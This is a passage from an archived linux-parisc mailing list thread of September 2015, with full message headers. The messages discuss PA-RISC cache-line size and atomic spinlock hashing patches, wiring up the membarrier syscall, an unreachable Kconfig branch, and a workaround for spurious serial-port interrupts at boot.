> index 226f8ca9..b2bc4b7 100644
> --- a/arch/parisc/include/asm/atomic.h
> +++ b/arch/parisc/include/asm/atomic.h
> @@ -19,14 +19,14 @@
>  
>  #ifdef CONFIG_SMP
>  #include <asm/spinlock.h>
> -#include <asm/cache.h>		/* we use L1_CACHE_BYTES */
> +#include <asm/cache.h>		/* we use L1_CACHE_SHIFT */
>  
>  /* Use an array of spinlocks for our atomic_ts.
>   * Hash function to index into a different SPINLOCK.
>   * Since "a" is usually an address, use one spinlock per cacheline.
>   */
>  #  define ATOMIC_HASH_SIZE 4
> -#  define ATOMIC_HASH(a) (&(__atomic_hash[ (((unsigned long) (a))/L1_CACHE_BYTES) & (ATOMIC_HASH_SIZE-1) ]))
> +#  define ATOMIC_HASH(a) (&(__atomic_hash[ (((unsigned long) (a)) >> L1_CACHE_SHIFT) & (ATOMIC_HASH_SIZE-1) ]))
>  
>  extern arch_spinlock_t __atomic_hash[ATOMIC_HASH_SIZE] __lock_aligned;

This doesn't look to be correct.  The L1_CACHE_BYTES is compile time not
runtime, so it's the Architectural not the Actual width.  For us, there
are only two architectural widths governed by our compile classes, which
are PA1 and PA2 at 32 and 64.  There's no config way to produce a PA2
kernel which is PA88/89 only, so we should follow the PA2 architectural
width because the kernel can be booted on any PA2 system, not just
PA88/89.  Even if we could produce a PA88/89 only kernel and would wish
to, there's still not much point because 128 is the cache burst width.
PA988/89 work perfectly OK with the architectural width, so the extra
space is likely added for no benefit.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: adjust L1_CACHE_BYTES to 128 bytes on PA8800
 and PA8900 CPUs
Date: Thu, 03 Sep 2015 06:57:45 -0700
Lines: 128
Approved: news@gmane.org
Message-ID: <1441288665.2235.17.camel@HansenPartnership.com>
References: <20150902162000.GC2444@ls3530.box>
	 <1441287043.2235.6.camel@HansenPartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1441288677 11580 80.91.229.3 (3 Sep 2015 13:57:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 3 Sep 2015 13:57:57 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	John David Anglin <dave.anglin@bell.net>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Sep 03 15:57:51 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZXV1Q-0007Rj-DH
	for glpp-linux-parisc@plane.gmane.org; Thu, 03 Sep 2015 15:57:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755843AbbICN5r (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 3 Sep 2015 09:57:47 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:44153 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755838AbbICN5r (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 3 Sep 2015 09:57:47 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 9B5AD8EE502;
	Thu,  3 Sep 2015 06:57:46 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 9h_DdzKq3S_u; Thu,  3 Sep 2015 06:57:46 -0700 (PDT)
Original-Received: from [153.66.254.242] (unknown [184.11.141.41])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 1BC348EE08E;
	Thu,  3 Sep 2015 06:57:46 -0700 (PDT)
In-Reply-To: <1441287043.2235.6.camel@HansenPartnership.com>
X-Mailer: Evolution 3.12.11 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26009
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26009>

On Thu, 2015-09-03 at 06:30 -0700, James Bottomley wrote:
> On Wed, 2015-09-02 at 18:20 +0200, Helge Deller wrote:
> > PA8800 and PA8900 processors have a cache line length of 128 bytes.
> > 
> > Reported-by: John David Anglin <dave.anglin@bell.net>
> > Signed-off-by: Helge Deller <deller@gmx.de>
> > 
> > diff --git a/arch/parisc/include/asm/cache.h b/arch/parisc/include/asm/cache.h
> > index 47f11c7..a775f60 100644
> > --- a/arch/parisc/include/asm/cache.h
> > +++ b/arch/parisc/include/asm/cache.h
> > @@ -7,17 +7,19 @@
> >  
> > 
> >  /*
> > - * PA 2.0 processors have 64-byte cachelines; PA 1.1 processors have
> > - * 32-byte cachelines.  The default configuration is not for SMP anyway,
> > - * so if you're building for SMP, you should select the appropriate
> > - * processor type.  There is a potential livelock danger when running
> > - * a machine with this value set too small, but it's more probable you'll
> > - * just ruin performance.
> > + * Most PA 2.0 processors have 64-byte cachelines, but PA8800 and PA8900
> > + * processors have a cache line length of 128 bytes.
> > + * PA 1.1 processors have 32-byte cachelines.
> > + * There is a potential livelock danger when running a machine with this value
> > + * set too small, but it's more probable you'll just ruin performance.
> >   */
> > -#ifdef CONFIG_PA20
> > +#if defined(CONFIG_PA8X00)
> > +#define L1_CACHE_BYTES 128
> > +#define L1_CACHE_SHIFT 7
> > +#elif defined(CONFIG_PA20)
> >  #define L1_CACHE_BYTES 64
> >  #define L1_CACHE_SHIFT 6
> > -#else
> > +#else /* PA7XXX */
> >  #define L1_CACHE_BYTES 32
> >  #define L1_CACHE_SHIFT 5
> >  #endif
> > 
> > diff --git a/arch/parisc/include/asm/atomic.h b/arch/parisc/include/asm/atomic.h
> > index 226f8ca9..b2bc4b7 100644
> > --- a/arch/parisc/include/asm/atomic.h
> > +++ b/arch/parisc/include/asm/atomic.h
> > @@ -19,14 +19,14 @@
> >  
> >  #ifdef CONFIG_SMP
> >  #include <asm/spinlock.h>
> > -#include <asm/cache.h>		/* we use L1_CACHE_BYTES */
> > +#include <asm/cache.h>		/* we use L1_CACHE_SHIFT */
> >  
> >  /* Use an array of spinlocks for our atomic_ts.
> >   * Hash function to index into a different SPINLOCK.
> >   * Since "a" is usually an address, use one spinlock per cacheline.
> >   */
> >  #  define ATOMIC_HASH_SIZE 4
> > -#  define ATOMIC_HASH(a) (&(__atomic_hash[ (((unsigned long) (a))/L1_CACHE_BYTES) & (ATOMIC_HASH_SIZE-1) ]))
> > +#  define ATOMIC_HASH(a) (&(__atomic_hash[ (((unsigned long) (a)) >> L1_CACHE_SHIFT) & (ATOMIC_HASH_SIZE-1) ]))
> >  
> >  extern arch_spinlock_t __atomic_hash[ATOMIC_HASH_SIZE] __lock_aligned;
> 
> This doesn't look to be correct.  The L1_CACHE_BYTES is compile time not
> runtime, so it's the Architectural not the Actual width.  For us, there
> are only two architectural widths governed by our compile classes, which
> are PA1 and PA2 at 32 and 64.  There's no config way to produce a PA2
> kernel which is PA88/89 only, so we should follow the PA2 architectural
> width because the kernel can be booted on any PA2 system, not just
> PA88/89.  Even if we could produce a PA88/89 only kernel and would wish
> to, there's still not much point because 128 is the cache burst width.
> PA988/89 work perfectly OK with the architectural width, so the extra
> space is likely added for no benefit.

Having looked more closely at our atomics, we seem to have a bogus
assumption about cache lines.  Our cache is perfectly capable of
correctly writing to adjacent bytes in different lines even on different
processors and having the external visibility sequenced accordingly.
The reason we need the locks is for correctness not for cache coherence
problems.  This means that we shouldn't hash all locks in the same line
to the same lock because it introduces unnecessary contention in
adjacent atomics which could be sorted out much faster by the cache
logic.

The original way our hash worked would have been correct if the atomic_t
were cache line aligned ... meaning only one atomic per cache line, but
they're not, they have no alignment primitives.

On the same thought, to reduce atomic contention probabalistically, we
should have a much larger atomic array, say 64 or 128 ... it's a single
array of locks, so the amount of space consumed by expanding it isn't
huge.

This patch should get rid of the bogus cache assumption and at the same
time decrease our collision chances.  We should probably do some playing
around to see what the best size for ATOMIC_HASH_SIZE is.

James

---

diff --git a/arch/parisc/include/asm/atomic.h b/arch/parisc/include/asm/atomic.h
index 226f8ca9..de3361b 100644
--- a/arch/parisc/include/asm/atomic.h
+++ b/arch/parisc/include/asm/atomic.h
@@ -19,14 +19,13 @@
 
 #ifdef CONFIG_SMP
 #include <asm/spinlock.h>
-#include <asm/cache.h>		/* we use L1_CACHE_BYTES */
 
 /* Use an array of spinlocks for our atomic_ts.
  * Hash function to index into a different SPINLOCK.
- * Since "a" is usually an address, use one spinlock per cacheline.
+ * Since "a" is usually an address, use one spinlock per atomic.
  */
-#  define ATOMIC_HASH_SIZE 4
-#  define ATOMIC_HASH(a) (&(__atomic_hash[ (((unsigned long) (a))/L1_CACHE_BYTES) & (ATOMIC_HASH_SIZE-1) ]))
+#  define ATOMIC_HASH_SIZE 64
+#  define ATOMIC_HASH(a) (&(__atomic_hash[ (((unsigned long) (a))/sizeof(atomic_t)) & (ATOMIC_HASH_SIZE-1) ]))
 
 extern arch_spinlock_t __atomic_hash[ATOMIC_HASH_SIZE] __lock_aligned;
 


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mathieu Desnoyers <mathieu.desnoyers-vg+e7yoeK/dWk0Htik3J/w@public.gmane.org>
Newsgroups: gmane.linux.kernel.api,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [RFC PATCH 9/9] parisc: allocate sys_membarrier system call
 number
Date: Thu, 3 Sep 2015 15:41:22 +0000 (UTC)
Lines: 69
Approved: news@gmane.org
Message-ID: <489367754.35882.1441294882117.JavaMail.zimbra@efficios.com>
References: <1440698215-8355-1-git-send-email-mathieu.desnoyers@efficios.com> <1440698215-8355-10-git-send-email-mathieu.desnoyers@efficios.com> <trinity-920d5daa-933d-4e50-bd13-713e544e93c4-1441283170751@3capp-gmx-bs04>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1441294903 23488 80.91.229.3 (3 Sep 2015 15:41:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 3 Sep 2015 15:41:43 +0000 (UTC)
Cc: Andrew Morton <akpm-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org>,
	linux-api <linux-api-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	"James E.J. Bottomley" <jejb-6jwH94ZQLHl74goWV3ctuw@public.gmane.org>,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
To: Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>
Original-X-From: linux-api-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Thu Sep 03 17:41:37 2015
Return-path: <linux-api-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glka-linux-api-wOFGN7rlS/M9smdsby/KFg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-api-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1ZXWds-0002yl-MZ
	for glka-linux-api-wOFGN7rlS/M9smdsby/KFg@public.gmane.org; Thu, 03 Sep 2015 17:41:37 +0200
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1755776AbbICPlg (ORCPT <rfc822;glka-linux-api@m.gmane.org>);
	Thu, 3 Sep 2015 11:41:36 -0400
Original-Received: from mail.efficios.com ([78.47.125.74]:42730 "EHLO mail.efficios.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754586AbbICPlf (ORCPT <rfc822;linux-api-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>);
	Thu, 3 Sep 2015 11:41:35 -0400
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by mail.efficios.com (Postfix) with ESMTP id 9BCB0340369;
	Thu,  3 Sep 2015 15:41:31 +0000 (UTC)
Original-Received: from mail.efficios.com ([127.0.0.1])
	by localhost (evm-mail-1.efficios.com [127.0.0.1]) (amavisd-new, port 10032)
	with ESMTP id s1YYzwwrmD3A; Thu,  3 Sep 2015 15:41:22 +0000 (UTC)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by mail.efficios.com (Postfix) with ESMTP id 994163403B0;
	Thu,  3 Sep 2015 15:41:22 +0000 (UTC)
X-Virus-Scanned: amavisd-new at efficios.com
Original-Received: from mail.efficios.com ([127.0.0.1])
	by localhost (evm-mail-1.efficios.com [127.0.0.1]) (amavisd-new, port 10026)
	with ESMTP id YcLhIu6Cfxak; Thu,  3 Sep 2015 15:41:22 +0000 (UTC)
Original-Received: from evm-mail-1.efficios.com (evm-mail-1.efficios.com [78.47.125.74])
	by mail.efficios.com (Postfix) with ESMTP id 52739340369;
	Thu,  3 Sep 2015 15:41:22 +0000 (UTC)
In-Reply-To: <trinity-920d5daa-933d-4e50-bd13-713e544e93c4-1441283170751@3capp-gmx-bs04>
X-Originating-IP: [78.47.125.74]
X-Mailer: Zimbra 8.6.0_GA_1178 (ZimbraWebClient - FF40 (Linux)/8.6.0_GA_1178)
Thread-Topic: parisc: allocate sys_membarrier system call number
Thread-Index: QXFoKyINooj9TaGVPROn6QoATsnjbw==
Original-Sender: linux-api-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-api.vger.kernel.org>
X-Mailing-List: linux-api-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.api:13815 gmane.linux.kernel:2031745 gmane.linux.ports.parisc:26010
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.api/13815>

----- On Sep 3, 2015, at 8:26 AM, Helge Deller deller-Mmb7MZpHnFY@public.gmane.org wrote:

> Hi Mathieu,
> 
>> [ Untested on this architecture. To try it out: fetch linux-next/akpm,
>>   apply this patch, build/run a membarrier-enabled kernel, and do make
>>   kselftest. ]
>> 
>> Signed-off-by: Mathieu Desnoyers <mathieu.desnoyers-vg+e7yoeK/dWk0Htik3J/w@public.gmane.org>
>> CC: Andrew Morton <akpm-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org>
>> CC: linux-api-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
>> CC: "James E.J. Bottomley" <jejb-6jwH94ZQLHl74goWV3ctuw@public.gmane.org>
>> CC: Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>
>> CC: linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
>> ---
>>  arch/parisc/include/uapi/asm/unistd.h | 3 ++-
>>  arch/parisc/kernel/syscall_table.S    | 1 +
>>  2 files changed, 3 insertions(+), 1 deletion(-)
>> 
>> diff --git a/arch/parisc/include/uapi/asm/unistd.h
>> b/arch/parisc/include/uapi/asm/unistd.h
>> index 2e639d7..dadcada 100644
>> --- a/arch/parisc/include/uapi/asm/unistd.h
>> +++ b/arch/parisc/include/uapi/asm/unistd.h
>> @@ -358,8 +358,9 @@
>>  #define __NR_memfd_create	(__NR_Linux + 340)
>>  #define __NR_bpf		(__NR_Linux + 341)
>>  #define __NR_execveat		(__NR_Linux + 342)
>> +#define __NR_membarrier		(__NR_Linux + 343)
>>  
>> -#define __NR_Linux_syscalls	(__NR_execveat + 1)
>> +#define __NR_Linux_syscalls	(__NR_membarrier + 1)
>>  
>>  
>>  #define __IGNORE_select		/* newselect */
>> diff --git a/arch/parisc/kernel/syscall_table.S
>> b/arch/parisc/kernel/syscall_table.S
>> index 8eefb12..2faa43b 100644
>> --- a/arch/parisc/kernel/syscall_table.S
>> +++ b/arch/parisc/kernel/syscall_table.S
>> @@ -438,6 +438,7 @@
>>  	ENTRY_SAME(memfd_create)	/* 340 */
>>  	ENTRY_SAME(bpf)
>>  	ENTRY_COMP(execveat)
>> +	ENTRY_COMP(membarrier)
> 
> This needs to be ENTRY_SAME(membarrier), since you don't have/need a
> compat_membarrier() function.

Allright, will fix.

> 
> After changing to ENTRY_SAME() I did run the kselftest on parisc:
> deller@ls3xx> ./membarrier_test
> membarrier MEMBARRIER_CMD_QUERY syscall available.
> membarrier: MEMBARRIER_CMD_SHARED success.
> membarrier: tests done!

And add your Tested-by tag, thanks!

Mathieu

> 
> Helge

-- 
Mathieu Desnoyers
EfficiOS Inc.
http://www.efficios.com

From - Thu Nov 08 21:37:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: parisc: adjust L1_CACHE_BYTES to 128 bytes on PA8800 and PA8900
 CPUs
Date: Thu, 3 Sep 2015 20:45:02 +0200
Lines: 45
Approved: news@gmane.org
Message-ID: <55E8952E.4080603@gmx.de>
References: <55E811AB.6070002@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1441305926 27158 80.91.229.3 (3 Sep 2015 18:45:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 3 Sep 2015 18:45:26 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	Valentin Rothberg <valentinrothberg@gmail.com>,
	Paul Bolle <pebolle@tiscali.nl>,
	linux-kernel <linux-kernel@vger.kernel.org>,
	John David Anglin <dave.anglin@bell.net>
To: Andreas Ziegler <andreas.ziegler@fau.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Sep 03 20:45:17 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZXZVY-00059v-1V
	for glpp-linux-parisc@plane.gmane.org; Thu, 03 Sep 2015 20:45:12 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751445AbbICSpM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 3 Sep 2015 14:45:12 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:55838 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751093AbbICSpK (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 3 Sep 2015 14:45:10 -0400
Original-Received: from [192.168.20.60] ([92.203.6.179]) by mail.gmx.com (mrgmx103)
 with ESMTPSA (Nemesis) id 0Maa3B-1ZE7mT41gv-00K4mU; Thu, 03 Sep 2015 20:45:05
 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <55E811AB.6070002@fau.de>
X-Provags-ID: V03:K0:oRJssHAZLza0w4SWvHydUsYUaSuzFpmd6hJ0oSA5aKxiQj0zWeu
 /qW1TQZw6BVYqJR2c4DTPvm+9syO7B9o1N7MLxCSx9xeHGaLqhkLRWvYcTdSOcUtvTe9jSO
 plEGUIy9PVTTqsTCja9m+JblQ1VjIuIKdORvxOlwMbw8Z75oYb9SQA+U16LqeoHQ8sL6mMh
 l6AwTgcmzIdrXJ2CaHgBg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:d/14H4DlBnw=:UdOkWnNoHULWY0B66feQ3G
 q/SX2C9PVBTTVRS0qt0pFZtR8/nZ9N5vLUb/akPp/GW0eEQSeMCSUanCj0tu87cJ0qvEPvnxv
 hWuNSbSe3rvh17kzMY/MvrXN9zetKE6Zk8m+3ZthbwcXhHBYGgdXk1j3vZ3i09ZszUoIS+gl5
 7FnrKFVoFyMTHHMaTkuKkTCmxQ7xjviqHLaElQ7GWHsjtdPDd4Q71sedyUjMa7rooHdzVYMc/
 Ix8er6ZBybCqGZFMfykqDkT+m4wrRSAXC+fJBum7m4mDJT8b+vBndploGtkPqXxfN/OQeRGg8
 67kD77BbxXz5uFPJB3/c/dq4BCZr6AJrc1gcW+NnOLpiUdbnIPrYgLxsUo09YiQAog5RC1Wna
 NGXgNN7q1sM4Q+3HBb0cDRpXSQROj5I8tDxZU7wQG2KLlNP29pp9kXE5VLSokTUJutdF2HOMJ
 +ltD6XpyiRamdxrORRCistc8UFcHiW1TzcYLv23S6rEdXvvgw7X+h28lTDTj1EjjEan4WJUmP
 Ex/Lfc+xX+9ec6KuzXxgr5J/TCBz1ZTbypZvoxXuctlEf4GnJb1Li4xv9wMt9i73NU66/yDhq
 bNw+pB91vgwZ+V3QeMS6kqMwRHr1ByrzNQCzA7SaoBKGWFas+qUTc3FR9IL06aagERWo4mKT3
 BZzMuAYtePTZbTe+0HyA/meC1xJBbexzV/7zOsuaVs/togYok/Zo/RrCupqNMR9B/WGw+7YmK
 NsC8+hRWTQFTy+PFA+5e7mUPp51KL7pTWNbhog==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26011 gmane.linux.kernel:2031886
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26011>

Hi Andreas,

On 03.09.2015 11:23, Andreas Ziegler wrote:
> today's linux-next tree (next-20150903) contains commit 20f924902ff6
> ("parisc: adjust L1_CACHE_BYTES to 128 bytes on PA8800 and PA8900 CPUs")
> which you authored.
> 
> I noticed it because we[0] are running a daily analysis on all commits
> in linux-next as part of our research and our tools reported it.
> 
> In the patch, you create the following #if defined() structure in
> arch/parisc/include/asm/cache.h (lines 16 and following):
> 
>  #if defined(CONFIG_PA8X00)
>   ...
>  #elif defined(CONFIG_PA20)
>   ...
>  #else
>   ...
>  #endif
> 
> In Kconfig, CONFIG_PA20 is defined as the following
> (arch/parisc/Kconfig, line 163):
> 
> config PA20
>   def_bool y
>   depends on PA8X00
> 
> This means that CONFIG_PA20 can and will only be enabled if
> CONFIG_PA8X00 has already been enabled, which means that the contents of
> the "#elif defined(CONFIG_PA20)" block can never be reached: its
> condition is only evaluated if CONFIG_PA8X00 is disabled, but then
> CONFIG_PA20 can never be enabled either.

That's absolutely true.
I'll fix it with the next iteration of this patch.

Thanks,
Helge

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Filter out spurious interrupts in PA-RISC irq handler
Date: Thu, 3 Sep 2015 22:45:21 +0200
Lines: 72
Approved: news@gmane.org
Message-ID: <20150903204521.GA26912@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1441313140 14961 80.91.229.3 (3 Sep 2015 20:45:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 3 Sep 2015 20:45:40 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Sep 03 22:45:30 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZXbNx-0004Wc-Hg
	for glpp-linux-parisc@plane.gmane.org; Thu, 03 Sep 2015 22:45:29 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753846AbbICUp3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 3 Sep 2015 16:45:29 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:57253 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752810AbbICUp2 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 3 Sep 2015 16:45:28 -0400
Original-Received: from p100.box ([92.203.6.179]) by mail.gmx.com (mrgmx101) with
 ESMTPSA (Nemesis) id 0LjN0F-1Yy0S22DQV-00dWVo; Thu, 03 Sep 2015 22:45:25
 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:T2zk9DXQpgM9AZXb+Dee6uz9Gkc+idiPvzOmRu6HhCwkJV588V2
 55YSDO8AONF+bZhT34uT8oqO3FY5HmyC62QQYMDMFxrRElQ1uUcuyU8zRWXw2PphBoV5SSa
 fsm1eAyqvcSIODaNF0gcSJxLGCDP5y8kUKW5wMwrTflexkJhHG8onqvZBnkg0TOMXlv2kD8
 jph28EkGsIwjwGVj4gRUQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:XBvhUIytaLI=:nd+wAXUb5A2KrOt2BL0dkD
 FJMvGqGEV28c9EVriUWPnX/sA21PiACobILIqhbYjy2Xl3wiu+/aJ+09AkmzQsryGR3EDDWW7
 NrpC4//5vOEO38tKa9DLal+4sHdhRrvASLlIXcjrLkhMhIUWKN18iJvAtMThiz1e0nx/x/DVa
 t3m62Rmyd/TgI3dN2tnWy8Qacz+MR17QMQmFf6f1F4YbvgJ0RASLWhDrjWtzrsi+877+RNd6q
 qyFjfsNGijRH/JSdAFs09Dd0Dv/rrgVyAq4GQF2Crm0926QLAmeloiVPpe/jgHn6PdZId33UT
 eOHar3iop9+dU1R9TPcqqfJGXuP6uwaebY5j67zcE2fuJtuWSfh7dwxMf/7a7maD2UMdm+xKP
 xnlJgiFJjwuwAy6CLH5DUuA6igpq0EUIvIn/6jqCrNSknkaBOr/eXcQpldq8tUmiKuvS/qNwV
 6a+gaIkoQlblYZgU8kszrBaXmGpI9IvJkpnEDz6n5EQl2B9CWX78I4D42OHiomC3DPOkjL1iT
 lEiNBAR3T3KhS83xQerLhetsdvoXokefbTW6S20T13SJ3R+zWB/zt4sx7lVdOVBXfv5hFVFoQ
 4sMcKIKmL8lyltWbGQW/8iVFBuxX1J4XPXaqcqclBAl7w592ZLsXEFp+u8p2A3IPjJLgLsFB2
 WaX7th7TjGv+xjKBrGdn74Swj+CNs+m0nzO4Cc1GzQiRcUPhQlnD3TsNU5Gv/xDgK2pW5c930
 91ji6RwaUFMJklwS
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26012
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26012>

When detecting a serial port on newer PA-RISC machines (with iosapic) we have a
long way to go to find the right IRQ line, registering it, then registering the
serial port and the irq handler for the serial port. During this phase spurious
interrupts for the serial port may happen which then crashes the kernel because
the action handler might not have been set up yet.

So, basically it's a race condition between the serial port hardware and the
CPU which sets up the necessary fields in the irq sructs. The main reason for
this race is, that we unmask the serial port irqs too early without having set
up everything properly before (which isn't easily possible because we need the
IRQ number to register the serial ports).

This patch is a work-around for this problem. It adds checks to the CPU irq
handler to verify if the IRQ action field has been initialized already. If not,
we just skip this interrupt (which isn't critical for a serial port at bootup).
The real fix would probably involve rewriting all PA-RISC specific IRQ code
(for CPU, IOSAPIC, GSC and EISA) to use IRQ domains with proper parenting of
the irq chips and proper irq enabling along this line.

This bug has been in the PA-RISC port since the beginning, but the crashes
happened very rarely with currently used hardware.  But on the latest machine
which I bought (a C8000 workstation), which uses the fastest CPUs (4 x PA8900,
1GHz) and which has the largest possible L1 cache size (64MB each), the kernel
crashed at every boot because of this race. So, without this patch the machine
would currently be unuseable.

For the record, here is the flow logic:
1. serial_init_chip() in 8250_gsc.c calls iosapic_serial_irq().
2. iosapic_serial_irq() calls txn_alloc_irq() to find the irq.
3. iosapic_serial_irq() calls cpu_claim_irq() to register the CPU irq
4. cpu_claim_irq() unmasks the CPU irq (which it shouldn't!)
5. serial_init_chip() then registers the 8250 port.
Problems:
- In step 4 the CPU irq shouldn't have been registered yet, but after step 5
- If serial irq happens between 4 and 5 have finished, the kernel will crash

